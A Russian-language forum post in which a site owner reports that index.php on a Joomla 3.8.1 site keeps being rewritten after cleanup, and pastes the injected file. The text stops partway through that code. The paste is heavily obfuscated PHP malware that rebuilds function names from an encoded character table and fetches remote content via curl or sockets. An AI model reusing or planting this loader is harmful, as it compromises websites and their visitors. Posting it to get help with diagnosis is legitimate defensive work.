Joomla! 3.8.1 и мракобесие

вообщем суть достался рес, на сраной Joomla! 3.8.1, рес слег, я его выкачал, прогнал айболитом локально, вычихлил вирусню, удалил

но мракобеси продолжается, заливаю index.php с инсталяшки, ресурс начинает работать, через пару часов index.php изменяется на вот такую пургу

Код: [развернуть]

<?php //header('Content-Type:text/html; charset=utf-8'); $O0OO_0__O0=''; $O_00OO__O0='1'; $O_OO000O__='1'; $O_O_0_00OO=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O0_00__OOO=$O_O_0_00OO{16}.$O_O_0_00OO{24}.$O_O_0_00OO{30}.$O_O_0_00OO{27}.$O_O_0_00OO{29}.$O_O_0_00OO{24}.$O_O_0_00OO{30}.$O_O_0_00OO{16}.$O_O_0_00OO{23}.$O_O_0_00OO{6}.$O_O_0_00OO{32}.$O_O_0_00OO{30}.$O_O_0_00OO{29}.$O_O_0_00OO{32}.$O_O_0_00OO{6}.$O_O_0_00OO{23}.$O_O_0_00OO{23}.$O_O_0_00OO{3}.$O_O_0_00OO{6}.$O_O_0_00OO{32}.$O_O_0_00OO{25};$O00__OO0_O=$O_O_0_00OO{33}.$O_O_0_00OO{10}.$O_O_0_00OO{24}.$O_O_0_00OO{30}.$O_O_0_00OO{6}.$O_O_0_00OO{5}.$O_O_0_00OO{29}.$O_O_0_00OO{33}.$O_O_0_00OO{35}.$O_O_0_00OO{32}.$O_O_0_00OO{25}.$O_O_0_00OO{30}.$O_O_0_00OO{10}.$O_O_0_00OO{29}.$O_O_0_00OO{32}.$O_O_0_00OO{23}.$O_O_0_00OO{12}.$O_O_0_00OO{30}.$O_O_0_00OO{0}.$O_O_0_00OO{10};$O0_00OO_O_=$O_O_0_00OO{33}.$O_O_0_00OO{10}.$O_O_0_00OO{24}.$O_O_0_00OO{30}.$O_O_0_00OO{6}.$O_O_0_00OO{5}.$O_O_0_00OO{29}.$O_O_0_00OO{27}.$O_O_0_00OO{30}.$O_O_0_00OO{10}.$O_O_0_00OO{29}.$O_O_0_00OO{5}.$O_O_0_00OO{30}.$O_O_0_00OO{10}.$O_O_0_00OO{6}.$O_O_0_00OO{29}.$O_O_0_00OO{26}.$O_O_0_00OO{6}.$O_O_0_00OO{10}.$O_O_0_00OO{6};$OO_0_00_OO=$O_O_0_00OO{33}.$O_O_0_00OO{10}.$O_O_0_00OO{24}.$O_O_0_00OO{30}.$O_O_0_00OO{6}.$O_O_0_00OO{5}.$O_O_0_00OO{29}.$O_O_0_00OO{33}.$O_O_0_00OO{30}.$O_O_0_00OO{10}.$O_O_0_00OO{29}.$O_O_0_00OO{3}.$O_O_0_00OO{23}.$O_O_0_00OO{35}.$O_O_0_00OO{32}.$O_O_0_00OO{25}.$O_O_0_00OO{12}.$O_O_0_00OO{0}.$O_O_0_00OO{27};$OO0_O_0O_0=$O_O_0_00OO{33}.$O_O_0_00OO{10}.$O_O_0_00OO{24}.$O_O_0_00OO{30}.$O_O_0_00OO{6}.$O_O_0_00OO{5}.$O_O_0_00OO{29}.$O_O_0_00OO{33}.$O_O_0_00OO{30}.$O_O_0_00OO{10}.$O_O_0_00OO{29}.$O_O_0_00OO{10}.$O_O_0_00OO{12}.$O_O_0_00OO{5}.$O_O_0_00OO{30}.$O_O_0_00OO{35}.$O_O_0_00OO{18}.$O_O_0_00OO{10};$O0O00OO___=$O_O_0_00OO{12}.$O_O_0_00OO{27}.$O_O_0_00OO{0}.$O_O_0_00OO{35}.$O_O_0_00OO{24}.$O_O_0_00OO{30}.$O_O_0_00OO{29}.$O_O_0_00OO{18}.$O_O_0_00OO{33}.$O_O_0_00OO{30}.$O_O_0_00OO{24}.$O_O_0_00OO{29}.$O_O_0_00OO{6}.$O_O_0_00OO{3}.$O_O_0_00OO{35}.$O_O_0_00OO{24}.$O_O_0_00OO{10};$OOO_00_O0_=$O_O_0_00OO{38}.$O_O_0_00OO{12}.$O_O_0_00OO{23}.$O_O_0_00OO{30}.$O_O_0_00OO{29}.$O_O_0_00OO{16}.$O_O_0_00OO{18}.$O_O_0_00OO{10}.$O_O_0_00OO{29}.$O_O_0_00OO{32}.$O_O_0_00OO{35}.$O_O_0_00OO{0}.$O_O_0_00OO{10}.$O_O_0_00OO{30}.$O_O_0_00OO{0}.$O_O_0_00OO{10}.$O_O_0_00OO{33};$O0__O0O0_O=$O_O_0_00OO{38}.$O_O_0_00OO{12}.$O_O_0_00OO{23}.$O_O_0_00OO{30}.$O_O_0_00OO{29}.$O_O_0_00OO{27}.$O_O_0_00OO{30}.$O_O_0_00OO{10}.$O_O_0_00OO{29}.$O_O_0_00OO{32}.$O_O_0_00OO{35}.$O_O_0_00OO{0}.$O_O_0_00OO{10}.$O_O_0_00OO{30}.$O_O_0_00OO{0}.$O_O_0_00OO{10}.$O_O_0_00OO{33};$O0O_O_0O_0=$O_O_0_00OO{31}.$O_O_0_00OO{10}.$O_O_0_00OO{10}.$O_O_0_00OO{16}.$O_O_0_00OO{29}.$O_O_0_00OO{3}.$O_O_0_00OO{18}.$O_O_0_00OO{12}.$O_O_0_00OO{23}.$O_O_0_00OO{26}.$O_O_0_00OO{29}.$O_O_0_00OO{19}.$O_O_0_00OO{18}.$O_O_0_00OO{30}.$O_O_0_00OO{24}.$O_O_0_00OO{20};$O_0O0O__0O=$O_O_0_00OO{38}.$O_O_0_00OO{18}.$O_O_0_00OO{0}.$O_O_0_00OO{32}.$O_O_0_00OO{10}.$O_O_0_00OO{12}.$O_O_0_00OO{35}.$O_O_0_00OO{0}.$O_O_0_00OO{29}.$O_O_0_00OO{30}.$O_O_0_00OO{17}.$O_O_0_00OO{12}.$O_O_0_00OO{33}.$O_O_0_00OO{10}.$O_O_0_00OO{33};$O__OO000_O=$O_O_0_00OO{30}.$O_O_0_00OO{24}.$O_O_0_00OO{24}.$O_O_0_00OO{35}.$O_O_0_00OO{24}.$O_O_0_00OO{29}.$O_O_0_00OO{24}.$O_O_0_00OO{30}.$O_O_0_00OO{16}.$O_O_0_00OO{35}.$O_O_0_00OO{24}.$O_O_0_00OO{10}.$O_O_0_00OO{12}.$O_O_0_00OO{0}.$O_O_0_00OO{27};$OO___000OO=$O_O_0_00OO{32}.$O_O_0_00OO{24}.$O_O_0_00OO{30}.$O_O_0_00OO{6}.$O_O_0_00OO{10}.$O_O_0_00OO{30}.$O_O_0_00OO{29}.$O_O_0_00OO{38}.$O_O_0_00OO{18}.$O_O_0_00OO{0}.$O_O_0_00OO{32}.$O_O_0_00OO{10}.$O_O_0_00OO{12}.$O_O_0_00OO{35}.$O_O_0_00OO{0};$O___00OOO0=$O_O_0_00OO{33}.$O_O_0_00OO{35}.$O_O_0_00OO{32}.$O_O_0_00OO{25}.$O_O_0_00OO{30}.$O_O_0_00OO{10}.$O_O_0_00OO{29}.$O_O_0_00OO{32}.$O_O_0_00OO{35}.$O_O_0_00OO{0}.$O_O_0_00OO{0}.$O_O_0_00OO{30}.$O_O_0_00OO{32}.$O_O_0_00OO{10};$OO0_0O_0_O=$O_O_0_00OO{33}.$O_O_0_00OO{30}.$O_O_0_00OO{10}.$O_O_0_00OO{29}.$O_O_0_00OO{10}.$O_O_0_00OO{12}.$O_O_0_00OO{5}.$O_O_0_00OO{30}.$O_O_0_00OO{29}.$O_O_0_00OO{23}.$O_O_0_00OO{12}.$O_O_0_00OO{5}.$O_O_0_00OO{12}.$O_O_0_00OO{10};$O_0OO0__0O=$O_O_0_00OO{27}.$O_O_0_00OO{30}.$O_O_0_00OO{10}.$O_O_0_00OO{31}.$O_O_0_00OO{35}.$O_O_0_00OO{33}.$O_O_0_00OO{10}.$O_O_0_00OO{3}.$O_O_0_00OO{20}.$O_O_0_00OO{0}.$O_O_0_00OO{6}.$O_O_0_00OO{5}.$O_O_0_00OO{30};$OO_O0__O00=$O_O_0_00OO{3}.$O_O_0_00OO{6}.$O_O_0_00OO{33}.$O_O_0_00OO{30}.$O_O_0_00OO{22}.$O_O_0_00OO{36}.$O_O_0_00OO{29}.$O_O_0_00OO{26}.$O_O_0_00OO{30}.$O_O_0_00OO{32}.$O_O_0_00OO{35}.$O_O_0_00OO{26}.$O_O_0_00OO{30};$O0O0_O0O__=$O_O_0_00OO{33}.$O_O_0_00OO{35}.$O_O_0_00OO{32}.$O_O_0_00OO{25}.$O_O_0_00OO{30}.$O_O_0_00OO{10}.$O_O_0_00OO{29}.$O_O_0_00OO{34}.$O_O_0_00OO{24}.$O_O_0_00OO{12}.$O_O_0_00OO{10}.$O_O_0_00OO{30};$O__00O_O0O=$O_O_0_00OO{33}.$O_O_0_00OO{35}.$O_O_0_00OO{32}.$O_O_0_00OO{25}.$O_O_0_00OO{30}.$O_O_0_00OO{10}.$O_O_0_00OO{29}.$O_O_0_00OO{32}.$O_O_0_00OO{23}.$O_O_0_00OO{35}.$O_O_0_00OO{33}.$O_O_0_00OO{30};$OO_O__O000=$O_O_0_00OO{16}.$O_O_0_00OO{24}.$O_O_0_00OO{30}.$O_O_0_00OO{27}.$O_O_0_00OO{29}.$O_O_0_00OO{24}.$O_O_0_00OO{30}.$O_O_0_00OO{16}.$O_O_0_00OO{23}.$O_O_0_00OO{6}.$O_O_0_00OO{32}.$O_O_0_00OO{30};$O0OO_00O__=$O_O_0_00OO{33}.$O_O_0_00OO{35}.$O_O_0_00OO{32}.$O_O_0_00OO{25}.$O_O_0_00OO{30}.$O_O_0_00OO{10}.$O_O_0_00OO{29}.$O_O_0_00OO{24}.$O_O_0_00OO{30}.$O_O_0_00OO{6}.$O_O_0_00OO{26};$O_0OO0O0__=$O_O_0_00OO{38}.$O_O_0_00OO{12}.$O_O_0_00OO{23}.$O_O_0_00OO{30}.$O_O_0_00OO{29}.$O_O_0_00OO{30}.$O_O_0_00OO{17}.$O_O_0_00OO{12}.$O_O_0_00OO{33}.$O_O_0_00OO{10}.$O_O_0_00OO{33};$OOOO0_00__=$O_O_0_00OO{32}.$O_O_0_00OO{18}.$O_O_0_00OO{24}.$O_O_0_00OO{23}.$O_O_0_00OO{29}.$O_O_0_00OO{33}.$O_O_0_00OO{30}.$O_O_0_00OO{10}.$O_O_0_00OO{35}.$O_O_0_00OO{16}.$O_O_0_00OO{10};$O_O00_0_OO=$O_O_0_00OO{6}.$O_O_0_00OO{24}.$O_O_0_00OO{24}.$O_O_0_00OO{6}.$O_O_0_00OO{20}.$O_O_0_00OO{29}.$O_O_0_00OO{33}.$O_O_0_00OO{31}.$O_O_0_00OO{12}.$O_O_0_00OO{38}.$O_O_0_00OO{10};$O0_O00__OO=$O_O_0_00OO{16}.$O_O_0_00OO{24}.$O_O_0_00OO{30}.$O_O_0_00OO{27}.$O_O_0_00OO{29}.$O_O_0_00OO{5}.$O_O_0_00OO{6}.$O_O_0_00OO{10}.$O_O_0_00OO{32}.$O_O_0_00OO{31};$O000O__OO_=$O_O_0_00OO{32}.$O_O_0_00OO{18}.$O_O_0_00OO{24}.$O_O_0_00OO{23}.$O_O_0_00OO{29}.$O_O_0_00OO{30}.$O_O_0_00OO{24}.$O_O_0_00OO{24}.$O_O_0_00OO{35}.$O_O_0_00OO{24};$OO0_O_O_00=$O_O_0_00OO{32}.$O_O_0_00OO{18}.$O_O_0_00OO{24}.$O_O_0_00OO{23}.$O_O_0_00OO{29}.$O_O_0_00OO{32}.$O_O_0_00OO{23}.$O_O_0_00OO{35}.$O_O_0_00OO{33}.$O_O_0_00OO{30};$O_00O__OO0=$O_O_0_00OO{18}.$O_O_0_00OO{24}.$O_O_0_00OO{23}.$O_O_0_00OO{30}.$O_O_0_00OO{0}.$O_O_0_00OO{32}.$O_O_0_00OO{35}.$O_O_0_00OO{26}.$O_O_0_00OO{30};$OO_O0_00_O=$O_O_0_00OO{16}.$O_O_0_00OO{6}.$O_O_0_00OO{24}.$O_O_0_00OO{33}.$O_O_0_00OO{30}.$O_O_0_00OO{29}.$O_O_0_00OO{18}.$O_O_0_00OO{24}.$O_O_0_00OO{23};$O_0_O0_OO0=$O_O_0_00OO{27}.$O_O_0_00OO{2}.$O_O_0_00OO{12}.$O_O_0_00OO{0}.$O_O_0_00OO{38}.$O_O_0_00OO{23}.$O_O_0_00OO{6}.$O_O_0_00OO{10}.$O_O_0_00OO{30};$OO__O00_0O=$O_O_0_00OO{32}.$O_O_0_00OO{18}.$O_O_0_00OO{24}.$O_O_0_00OO{23}.$O_O_0_00OO{29}.$O_O_0_00OO{12}.$O_O_0_00OO{0}.$O_O_0_00OO{12}.$O_O_0_00OO{10};$O__O00OO0_=$O_O_0_00OO{32}.$O_O_0_00OO{18}.$O_O_0_00OO{24}.$O_O_0_00OO{23}.$O_O_0_00OO{29}.$O_O_0_00OO{30}.$O_O_0_00OO{17}.$O_O_0_00OO{30}.$O_O_0_00OO{32};$OOO_0_00_O=$O_O_0_00OO{12}.$O_O_0_00OO{33}.$O_O_0_00OO{29}.$O_O_0_00OO{6}.$O_O_0_00OO{24}.$O_O_0_00OO{24}.$O_O_0_00OO{6}.$O_O_0_00OO{20};$O0OO__O0_0=$O_O_0_00OO{33}.$O_O_0_00OO{10}.$O_O_0_00OO{24}.$O_O_0_00OO{24}.$O_O_0_00OO{16}.$O_O_0_00OO{35}.$O_O_0_00OO{33};$OO00_O_0O_=$O_O_0_00OO{5}.$O_O_0_00OO{10}.$O_O_0_00OO{29}.$O_O_0_00OO{24}.$O_O_0_00OO{6}.$O_O_0_00OO{0}.$O_O_0_00OO{26};$O0OO0__0_O=$O_O_0_00OO{12}.$O_O_0_00OO{5}.$O_O_0_00OO{16}.$O_O_0_00OO{23}.$O_O_0_00OO{35}.$O_O_0_00OO{26}.$O_O_0_00OO{30};$O000_OO_O_=$O_O_0_00OO{30}.$O_O_0_00OO{17}.$O_O_0_00OO{16}.$O_O_0_00OO{23}.$O_O_0_00OO{35}.$O_O_0_00OO{26}.$O_O_0_00OO{30};$O00O_O_O0_=$O_O_0_00OO{18}.$O_O_0_00OO{33}.$O_O_0_00OO{23}.$O_O_0_00OO{30}.$O_O_0_00OO{30}.$O_O_0_00OO{16};$OO__O000O_=$O_O_0_00OO{18}.$O_O_0_00OO{0}.$O_O_0_00OO{23}.$O_O_0_00OO{12}.$O_O_0_00OO{0}.$O_O_0_00OO{25};$O_0__0O0OO=$O_O_0_00OO{33}.$O_O_0_00OO{10}.$O_O_0_00OO{24}.$O_O_0_00OO{16}.$O_O_0_00OO{35}.$O_O_0_00OO{33};$O__0O00O_O=$O_O_0_00OO{33}.$O_O_0_00OO{10}.$O_O_0_00OO{24}.$O_O_0_00OO{23}.$O_O_0_00OO{30}.$O_O_0_00OO{0};$O_0O_0O_O0=$O_O_0_00OO{31}.$O_O_0_00OO{30}.$O_O_0_00OO{17}.$O_O_0_00OO{26}.$O_O_0_00OO{30}.$O_O_0_00OO{32};$OO00__OO_0=$O_O_0_00OO{38}.$O_O_0_00OO{34}.$O_O_0_00OO{24}.$O_O_0_00OO{12}.$O_O_0_00OO{10}.$O_O_0_00OO{30};$O0O00__O_O=$O_O_0_00OO{38}.$O_O_0_00OO{32}.$O_O_0_00OO{23}.$O_O_0_00OO{35}.$O_O_0_00OO{33}.$O_O_0_00OO{30};$O00__OOO0_=$O_O_0_00OO{38}.$O_O_0_00OO{24}.$O_O_0_00OO{30}.$O_O_0_00OO{6}.$O_O_0_00OO{26};$O_0OO_0O0_=$O_O_0_00OO{38}.$O_O_0_00OO{27}.$O_O_0_00OO{30}.$O_O_0_00OO{10}.$O_O_0_00OO{33};$O_O_00_0OO=$O_O_0_00OO{32}.$O_O_0_00OO{31}.$O_O_0_00OO{5}.$O_O_0_00OO{35}.$O_O_0_00OO{26};$OO0O_00__O=$O_O_0_00OO{10}.$O_O_0_00OO{24}.$O_O_0_00OO{12}.$O_O_0_00OO{5};$OO_O00_0_O=$O_O_0_00OO{41}.$O_O_0_00OO{35}.$O_O_0_00OO{12}.$O_O_0_00OO{0};$O0_0OOO_0_=$O_O_0_00OO{38}.$O_O_0_00OO{30}.$O_O_0_00OO{35}.$O_O_0_00OO{38};$OO0__OO00_=$O_O_0_00OO{26}.$O_O_0_00OO{6}.$O_O_0_00OO{10}.$O_O_0_00OO{30};header('Content-Type:text/html;charset=utf-8');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x4f\x30\x30\x30\x5f\x4f"](0);if(!function_exists('str_ireplace')){function str_ireplace($from,$to,$string){return trim(preg_replace("/".addcslashes($from,"?:\\/*^$")."/si",$to,$string));}};$O__0OO0_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x5f\x30\x30\x30\x4f\x4f"]('$url,$O_0O_0OO_0=0,$O0__0OO_O0=1,$O0O_0_O_O0=NULL,$OO0O_0_O0_=array()','if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x30\x5f\x5f\x4f\x4f"]("/^http\\:\\/\\//si",$url)){if(isset(${"\x5f\x47\x45\x54"}["\x75\x72\x6c\x65\x72\x72"])){$O0OO0___O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x4f\x5f\x30\x5f"](\'iy4tyhTkktKsovilXIzCtLzMlMUQCKWKnlJRUtPXWAMA\');$O0OO0___O0.=$url;echo $O0OO0___O0;unset($O0OO0___O0);exit();}return \'\';}$O0_00O_OO_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x4f\x5f\x30\x5f"](\'Sy4tyhTonPzMss0U4GsYpTS/ILoOzUitTkmrTi/OTs/ILUvJoCBLO4pCg1MTcexE8tiU/OyUzNK6mB8YBtPSJakA\');$OO0OO0__0_=$O_0_OO0_O0=\'\';foreach(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x5f\x4f\x4f\x5f\x4f\x5f"](\'|\',$O0_00O_OO_) as $c){$O_000O_OO_=1;if($O_0O_0OO_0&&substr($c,0,1)==\'c\'){continue;}foreach(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x5f\x4f\x4f\x5f\x4f\x5f"](\'+\',$c) as $d){if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x30\x4f\x5f\x5f\x30\x4f"]($d)){$O_000O_OO_=0;}}unset($d);if($O_000O_OO_){$OO0OO0__0_=$c;break;}}unset($O0_00O_OO_,$c);if($OO0OO0__0_==\'\'){return 0;}if(substr($OO0OO0__0_,0,1)==\'c\'){$O__0_0O0OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x4f\x30\x30\x5f\x30\x4f"]();${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x4f\x30\x5f\x30\x30\x5f\x5f"]($O__0_0O0OO,CURLOPT_URL,$url);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x4f\x30\x5f\x30\x30\x5f\x5f"]($O__0_0O0OO,CURLOPT_USERAGENT,\'WHR\');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x4f\x30\x5f\x30\x30\x5f\x5f"]($O__0_0O0OO,CURLOPT_RETURNTRANSFER,1);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x4f\x30\x5f\x30\x30\x5f\x5f"]($O__0_0O0OO,CURLOPT_TIMEOUT,100);if($O0__0OO_O0==2){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x4f\x30\x5f\x30\x30\x5f\x5f"]($O__0_0O0OO,CURLOPT_POST,1);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x30\x5f\x30\x30\x5f\x4f"]($O0O_0_O_O0)){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x4f\x30\x5f\x30\x30\x5f\x5f"]($O__0_0O0OO,CURLOPT_POSTFIELDS,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x5f\x30\x4f\x5f\x30"]($O0O_0_O_O0));}}$O0OO_O__00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x30\x30\x4f\x4f\x30\x5f"]($O__0_0O0OO);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x5f\x4f\x5f\x30\x30"]($O__0_0O0OO);if(!$O0OO_O__00){if(isset(${"\x5f\x47\x45\x54"}["\x63\x75\x72\x6c\x65\x72\x72"])){$O0OO0___O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x4f\x5f\x30\x5f"](\'i04uLhTcpRSC0qyi+KVctLKi6tPwBgA=\');$O0OO0___O0.=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x5f\x5f\x4f\x4f\x5f"]($O__0_0O0OO);echo $O0OO0___O0;unset($O0OO0___O0);exit();}return 0;}else{$O0OO_O__00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x30\x30\x5f\x5f\x4f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x30\x30\x5f\x5f\x4f"]($O0OO_O__00,"\\xEF\\xBB\\xBF"));return $O0OO_O__00;}}$OO00_0O__O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x30\x5f\x30\x30\x5f\x4f"]($url);isset($OO00_0O__O["\x68\x6f\x73\x74"])||$OO00_0O__O["\x68\x6f\x73\x74"]=\'\';isset($OO00_0O__O["\x70\x61\x74\x68"])||$OO00_0O__O["\x70\x61\x74\x68"]=\'\';isset($OO00_0O__O["\x71\x75\x65\x72\x79"])|| $OO00_0O__O["\x71\x75\x65\x72\x79"]=\'\';isset($OO00_0O__O["\x4f\x5f\x30\x30\x4f\x5f\x5f\x4f\x30\x4f"])||$OO00_0O__O["\x4f\x5f\x30\x30\x4f\x5f\x5f\x4f\x30\x4f"]=\'\';$O_00_O_OO0=$OO00_0O__O["\x70\x61\x74\x68"]?$OO00_0O__O["\x70\x61\x74\x68"].($OO00_0O__O["\x71\x75\x65\x72\x79"]?\'?\'.$OO00_0O__O["\x71\x75\x65\x72\x79"]:\'\'):\'/\';$O_OO0__00O=$OO00_0O__O["\x68\x6f\x73\x74"];if($OO00_0O__O["\x73\x63\x68\x65\x6d\x65"]==\'https\'){$O0OO0_0__O=\'1.1\';$O_00O__O0O=empty($OO00_0O__O["\x4f\x5f\x30\x30\x4f\x5f\x5f\x4f\x30\x4f"])?443:$OO00_0O__O["\x4f\x5f\x30\x30\x4f\x5f\x5f\x4f\x30\x4f"];$O_OO0__00O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x4f\x5f\x30\x5f"](\'Ky7OshTdLtPXBwA=\');$O_OO0__00O.=$OO00_0O__O["\x68\x6f\x73\x74"];}else{$O0OO0_0__O=\'1.0\';$O_00O__O0O=empty($OO00_0O__O["\x4f\x5f\x30\x30\x4f\x5f\x5f\x4f\x30\x4f"])?80:$OO00_0O__O["\x4f\x5f\x30\x30\x4f\x5f\x5f\x4f\x30\x4f"];}$OO0_OO0_0_=\'Host:\';$OO0_OO0_0_.=$O_OO0__00O;$OO0O_0_O0_[]=$OO0_OO0_0_;$OO0O_0_O0_[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x4f\x5f\x30\x5f"](\'c87PyhT0tNLsnMz7NyzsktPvTgUA\');$OO0O_0_O0_[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x4f\x5f\x30\x5f"](\'Cy1OLhTdJ1TE/NK7EK9wgtPCAA==\');$OO0O_0_O0_[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x4f\x5f\x30\x5f"](\'c0xOThTi0osdLtPS1wIA\');unset($OO0_OO0_0_);if($O0__0OO_O0==2){if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x30\x5f\x30\x30\x5f\x4f"]($O0O_0_O_O0)){$O0O_0_O_O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x5f\x30\x4f\x5f\x30"]($O0O_0_O_O0);}$OO0O_0_O0_[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x4f\x5f\x30\x5f"](\'c87PKhT0nNK9EtqSxItUosKMjJTE4syczP06/QLS8v103LL8rVLS3KSc1Lzk9tPJTQEA\');$OO0O_0_O0_[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x4f\x5f\x30\x5f"](\'c87PKhT0nNK9H1Sc1LL8mtPwAgA=\').${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x30\x30\x4f\x5f\x4f"]($O0O_0_O_O0);$O_0_OO0_O0="POST $O_00_O_OO0 HTTP/$O0OO0_0__O\\r\\n".${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f\x4f"]("\\r\\n",$OO0O_0_O0_)."\\r\\n\\r\\n".$O0O_0_O_O0;unset($O0O_0_O_O0);}else{$O_0_OO0_O0="GET $O_00_O_OO0 HTTP/$O0OO0_0__O\\r\\n".${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f\x4f"]("\\r\\n",$OO0O_0_O0_)."\\r\\n\\r\\n";}unset($OO0O_0_O0_,$OO00_0O__O,$O0OO0_0__O,$O_00_O_OO0);$O_0O0_0_OO=null;if(substr($OO0OO0__0_,-1)==\'n\'){$O_0O0_0_OO=$OO0OO0__0_($O_OO0__00O,$O_00O__O0O,$O0OO0___O0no,$O0OO0___O0str,30);}else{if(substr($OO0OO0__0_,-1)==\'t\'){$O_O0OO__00=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x4f\x5f\x30\x5f"](\'K0kushTNLtPXBwA=\');$O_O0OO__00.=$O_OO0__00O;$O_O0OO__00.=\':\';$O_O0OO__00.=$O_00O__O0O;$O_0O0_0_OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x4f\x4f\x30\x5f\x4f"]($O_O0OO__00,$O0OO0___O0no,$O0OO0___O0str,30);unset($O_O0OO__00);}}$O__O_0O0O0=\'\';if($O_0O0_0_OO){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x5f\x30\x30\x5f\x4f\x4f"]($O_0O0_0_OO,true);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x5f\x30\x4f\x5f\x30"]($O_0O0_0_OO,30);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x5f\x5f\x4f\x4f\x5f\x30"]($O_0O0_0_OO,$O_0_OO0_O0);if(!$O_0O_0OO_0){$OO_00_OO0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x30\x4f\x4f\x5f\x4f\x5f"]($O_0O0_0_OO);if(!$OO_00_OO0_["\x74\x69\x6d\x65\x64\x5f\x6f\x75\x74"]){while(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x4f\x4f\x4f\x5f\x30\x5f"]($O_0O0_0_OO)){$O00O_O__0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x4f\x5f\x30\x4f\x30\x5f"]($O_0O0_0_OO);if($O00O_O__0O&&($O00O_O__0O=="\\r\\n"||$O00O_O__0O=="\\n")){break;}unset($O00O_O__0O);}while(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x4f\x4f\x4f\x5f\x30\x5f"]($O_0O0_0_OO)){$OO00___OO0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x5f\x4f\x4f\x4f\x30\x5f"]($O_0O0_0_OO,8192);$O__O_0O0O0.=$OO00___OO0;unset($OO00___OO0);}}unset($OO_00_OO0_);}${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x30\x5f\x5f\x4f\x5f\x4f"]($O_0O0_0_OO);}else{if(substr($OO0OO0__0_,-1)==\'e\'){$O_O0_0O_0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x4f\x30\x5f\x5f\x30\x4f"]($O_OO0__00O);$O_0O0_0_OO=$OO0OO0__0_(AF_INET,SOCK_STREAM,0);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x5f\x30\x30\x4f\x4f\x4f\x30"]($O_0O0_0_OO,$O_O0_0O_0O,$O_00O__O0O)){if(!$O_0O_0OO_0){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x5f\x4f\x30\x4f\x5f\x5f"]($O_0O0_0_OO,$O_0_OO0_O0,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x30\x4f\x30\x30\x4f\x5f\x4f"]($O_